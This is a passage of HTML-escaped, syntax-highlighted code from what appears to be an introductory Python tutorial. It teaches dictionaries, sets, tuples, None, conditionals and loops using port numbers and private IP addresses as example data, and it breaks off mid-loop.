&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Check membership
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;host_info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# False
&lt;/span&gt;
&lt;span class="c1"&gt;# Nested dictionaries — scan results
&lt;/span&gt;&lt;span class="n"&gt;scan_results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;445&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.3&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unknown&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Dictionary comprehension
&lt;/span&gt;&lt;span class="n"&gt;port_dict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Sets and Tuples
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Sets — unordered, unique elements, fast membership testing
&lt;/span&gt;&lt;span class="n"&gt;unique_ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# Duplicate removed
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unique_ips&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                      &lt;span class="c1"&gt;# {'192.168.1.1', '10.0.0.1'}
&lt;/span&gt;
&lt;span class="c1"&gt;# Set operations — perfect for finding differences in scan results
&lt;/span&gt;&lt;span class="n"&gt;scan1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;scan2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5985&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;newly_opened&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scan2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;scan1&lt;/span&gt;          &lt;span class="c1"&gt;# {3389, 5985} — in scan2 not scan1
&lt;/span&gt;&lt;span class="n"&gt;closed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scan1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;scan2&lt;/span&gt;                &lt;span class="c1"&gt;# {443, 8080} — in scan1 not scan2
&lt;/span&gt;&lt;span class="n"&gt;always_open&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scan1&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;scan2&lt;/span&gt;           &lt;span class="c1"&gt;# {22, 80} — intersection
&lt;/span&gt;
&lt;span class="c1"&gt;# Tuples — ordered, immutable
&lt;/span&gt;&lt;span class="n"&gt;coordinates&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;192&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;168&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;host_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# Common pattern for socket connections
&lt;/span&gt;
&lt;span class="c1"&gt;# Unpacking
&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;host_port&lt;/span&gt;
&lt;span class="n"&gt;ip1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;coordinates&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 None — The Null Value
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# None represents absence of a value
&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="c1"&gt;# Check for None
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                     &lt;span class="c1"&gt;# Use "is None", not "== None"
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No result&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Functions that don't return a value return None implicitly
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;do_something&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                          &lt;span class="c1"&gt;# No return statement
&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;do_something&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="c1"&gt;# None
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Loops and Conditionals
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Conditionals — if/elif/else
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Basic if/elif/else
&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTPS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;RDP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unknown&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Comparison operators
# ==   equal
# !=   not equal
# &amp;gt;    greater than
# &amp;lt;    less than
# &amp;gt;=   greater or equal
# &amp;lt;=   less or equal
# is   identity (same object in memory)
# in   membership
&lt;/span&gt;
&lt;span class="c1"&gt;# Logical operators
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1023&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unprivileged port&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP variant&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not HTTPS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# One-line conditional (ternary)
&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;privileged&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;unprivileged&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Chaining comparisons (Pythonic)
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User port range&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Truthiness — what evaluates as False:
# False, None, 0, 0.0, "", [], {}, set()
# Everything else is True
&lt;/span&gt;
&lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                          &lt;span class="c1"&gt;# Empty list is falsy
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No open ports found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                             &lt;span class="c1"&gt;# None is falsy
&lt;/span&gt;    &lt;span class="nf"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Loops
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# for loop — iterate over any iterable
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scanning port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# range() — generate sequence of numbers
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;                    &lt;span class="c1"&gt;# 0 to 9
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;                 &lt;span class="c1"&gt;# 1 to 10
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;           &lt;span class="c1"&gt;# 0, 16, 32, ..., 240 (step 16)
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;254&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;           &lt;span class="c1"&gt;# Count down
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Iterate with index — enumerate()
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.3&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
